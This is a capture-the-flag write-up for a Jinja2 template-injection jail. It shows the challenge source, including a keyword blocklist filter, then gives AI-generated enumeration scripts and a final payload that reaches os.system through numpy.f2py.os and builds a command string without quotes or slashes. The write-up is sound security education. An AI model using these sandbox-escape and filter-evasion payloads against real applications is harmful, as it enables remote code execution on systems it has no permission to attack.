JinJail

description
Author: daffainfo
Pyjail? No, this is JinJail!
Attachments
docker-compose.yml
services:
misc-flaskjail:
build: .
ports:
- 32811:13337
deploy:
resources:
limits:
cpus: "0.5"
memory: "256M"
reservations:
cpus: "0.25"
memory: "128M"Dockerfile
FROM python:3.11-slim
RUN adduser ctf
WORKDIR /app
ENV PYTHONDONTWRITEBYTECODE=1 \
PYTHONUNBUFFERED=1
RUN apt-get update && \
apt-get -y install socat gcc && \
rm -rf /var/lib/apt/lists/*
COPY app.py requirements.txt ./
COPY flag.txt /root/flag.txt
RUN pip install --no-cache-dir -r requirements.txt
RUN chmod 400 /root/flag.txt && \
chown root:root /root/flag.txt
RUN chown -R ctf:ctf /app
COPY fix.c /tmp/fix.c
RUN gcc /tmp/fix.c -o /fix
RUN rm /tmp/fix.c
RUN chmod 4755 /fix
EXPOSE 13337
ENTRYPOINT ["socat", "TCP-LISTEN:13337,reuseaddr,fork,nodelay,su=ctf", "EXEC:'timeout 30 python3 app.py'"]requirements.txt
Jinja2
numpyapp.py
import numpy
import string
from functools import wraps
from collections import Counter
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
env.globals["numpy"] = numpy
def waf(content):
allowlist = set(string.ascii_lowercase + string.ascii_uppercase + string.punctuation + string.digits + ' ')
blocklist = ['fromfile', 'savetxt', 'load', 'array', 'packbits', 'ctypes', 'eval', 'exec', 'breakpoint', 'input', '+', '-', '/', '\\', '|', '"', "'"]
char_limits = {
'(': 3,
')': 3,
'[': 3,
']': 3,
'{': 3,
'}': 3,
',': 10
}
if len(content) > 275:
raise ValueError("Nope")
for ch in content:
if ch not in allowlist:
raise ValueError("Nope")
lower_value = content.lower()
for blocked in blocklist:
if blocked.lower() in lower_value:
raise ValueError("Nope")
counter = Counter(ch for ch in content if ch in char_limits)
for ch, count in counter.items():
if count > char_limits[ch]:
raise ValueError("Nope")
def main():
content = input(">>> ")
try:
waf(content)
result = env.from_string(content).render()
print(result)
except ValueError as e:
print(e.args[0])
except Exception:
print("Nope")
if __name__ == "__main__":
main()fix.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
int main(int argc, char *argv[]) {
if (argc > 1 && strcasecmp(argv[1], "help") == 0) {
setuid(0);
system("cat /root/flag.txt");
} else {
printf("Nope, you didnt ask for help...\n");
}
return 0;
}Overview
This challenge is a Jinja2 SSTI challenge within a Python sandbox environment with a highly restrictive WAF (Web Application Firewall).
Goal: Run the custom /fix help binary (based on the provided fix.c source code) to read the flags.
WAF Restrictions
- Block critical characters:
+,-,/,\, quotes (',"). - Limit the number of parentheses:
(),[],{}(very few, complicating complex function calls). - Blacklist keywords:
class,mro,base,import,eval,exec,os,sys, etc. - Allowed globals: Only the explicitly available
numpylibrary.
Enumeration (AI results)
Here, I used AI to assist with the enumeration process, because the very strict WAF made manual enumeration very difficult and time-consuming. I asked AI to help analyze the source code attachment, find vulnerabilities, and create a script to perform the automatic enumeration.
These are the enumeration steps I took to understand the environment and find vulnerabilities. (actually there are a lot of scripts but I will only show the important ones):
AI-assisted output

Step 1. Enumerate basic Jinja2 features
#!/usr/bin/env python3
import socket
import sys
# default fallback
DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 13337
# ambil dari argument
HOST = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT
payloads = [
"{{7*7}}",
"{{numpy}}",
"{{numpy.core}}",
"{{numpy.lib}}",
"{{numpy.compat}}",
"{{numpy.linalg}}",
"{{numpy.random}}",
"{{numpy.testing}}",
"{{numpy.f2py}}",
"{{numpy.f2py.os}}",
"{{numpy.f2py.os.system}}",
"{{numpy.f2py.os.sep}}",
]
def send_payload(payload):
try:
s = socket.create_connection((HOST, PORT))
s.recv(1024)
s.sendall(payload.encode() + b"\n")
result = s.recv(4096).decode(errors="ignore")
s.close()
return result.strip()
except Exception as e:
return f"ERROR: {e}"
def main():
print(f"=== JinJail Enumeration ===")
print(f"Target: {HOST}:{PORT}\n")
for payload in payloads:
print(f"[PAYLOAD] {payload}")
result = send_payload(payload)
print(f"[RESULT] {result}")
print("-" * 50)
if __name__ == "__main__":
main()python3 enum.py challenges.1pc.tf 29333
Step 2. Bypass Test WAF
#!/usr/bin/env python3
import socket
import sys
DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 13337
HOST = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT
payloads = [
# test akses os module
"{{numpy.f2py.os}}",
# test ambil slash tanpa ketik /
"{{numpy.f2py.os.sep}}",
# test dict repr (buat dapetin string tanpa quotes)
"{{dict(fix=1,help=1)}}",
# test concat jadi string
"{% set s=dict(fix=1,help=1)~1 %}{{s}}",
# test slicing ambil fix
"{% set s=dict(fix=1,help=1)~1 %}{{s[2:5]}}",
# test slicing ambil help
"{% set s=dict(fix=1,help=1)~1 %}{{s[12:16]}}",
# test build string "/fix"
"{% set s=dict(fix=1,help=1)~1 %}{{numpy.f2py.os.sep~s[2:5]}}",
# test build string "/fix help"
"{% set s=dict(fix=1,help=1)~1 %}{{numpy.f2py.os.sep~s[2:5]~s[7]~s[12:16]}}",
]
def send(payload):
try:
s = socket.create_connection((HOST, PORT))
s.recv(1024)
s.sendall(payload.encode() + b"\n")
result = s.recv(4096).decode(errors="ignore")
s.close()
return result.strip()
except Exception as e:
return f"ERROR: {e}"
def main():
print(f"=== WAF Bypass Tester ===")
print(f"Target: {HOST}:{PORT}\n")
for payload in payloads:
print(f"[PAYLOAD]")
print(payload)
result = send(payload)
print("[RESULT]")
print(result)
print("="*60)
if __name__ == "__main__":
main()python3 waf_bypass.py challenges.1pc.tf 29333
Solution Steps
1. Connection Preparation
To comfortably trial payloads, use rlwrap:
while true; do rlwrap nc challenges.1pc.tf 37425; done
2. Finding the Execution Primitive (RCE)
Because access to __builtins__, __class__, and standard modules like os/sys is blocked, we need to find another path. Large libraries like NumPy often unintentionally expose system modules in their submodules.
- Attempt 1:
{{ numpy.os }}→ Failed (Error/None) - Attempt 2:
{{ numpy.f2py.os }}→ Success! Returned module<module 'os' ...>

This is the primitive needed to execute system commands.
3. Bypassing Character Limitations
The main challenge is constructing the string /fix help without using quotes or a slash.
a. Finding the / (slash) character
-
Since we cannot type
/, we look for a variable that contains a slash:{{ numpy.f2py.os.sep }}→ Output:/
b. Finding the strings "fix" and "help"
-
Since we cannot type "fix", the idea is to use
dict()because its string representation (repr) contains the key names.- Test:
{{ dict(fix=1, help=1) }}→ Output:{'fix': 1, 'help': 1}
- Test:
c. Converting dict to string
-
Since a dict cannot be sliced directly, convert it to a string using
~ 1(concatenate with an integer):- Payload:
{% set s = dict(fix=1, help=1) ~ 1 %}{{ s }}→ Output:{'fix': 1, 'help': 1}1
- Payload:
d. Calculating character indexes
Resulting string: {'fix': 1, 'help': 1}1
String:
{ 'fix' : 1, 'help' : 1 }1Index Table
| Index | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Char | { | ' | f | i | x | ' | : | ␠ | 1 | , | ␠ | ' | h | e | l | p | ' | : | ␠ | 1 | } | 1 |
Visual Target Mapping
String: { 'fix' : 1, 'help' : 1 }1
Index : 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
Char : { ' f i x ' : _ 1 , _ ' h e l p ' : _ 1 } 1
^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | |
f i x space h e l pTarget:
/→numpy.f2py.os.sepfix→s[2:5]- space →
s[7] help→s[12:16]
4. Final Payload (Flag Execution)
The final step is assembling the string /fix help from variable fragments, then executing it using numpy.
Step-by-step:
-
Create the source character string:
{% set s = dict(fix=1, help=1) ~ 1 %}This produces the string:
{'fix': 1, 'help': 1}1 -
Construct the command:
/→numpy.f2py.os.sepfix→s[2:5]- space →
s[7] help→s[12:16]
-
Combine and execute:
{{ numpy.f2py.os.system(numpy.f2py.os.sep ~ s[2:5] ~ s[7] ~ s[12:16]) }}
Full payload:
{% set s = dict(fix=1, help=1) ~ 1 %}
{{ numpy.f2py.os.system(numpy.f2py.os.sep ~ s[2:5] ~ s[7] ~ s[12:16]) }}
Flag
C2C{damnnn_i_love_numpy_a5578d341afe}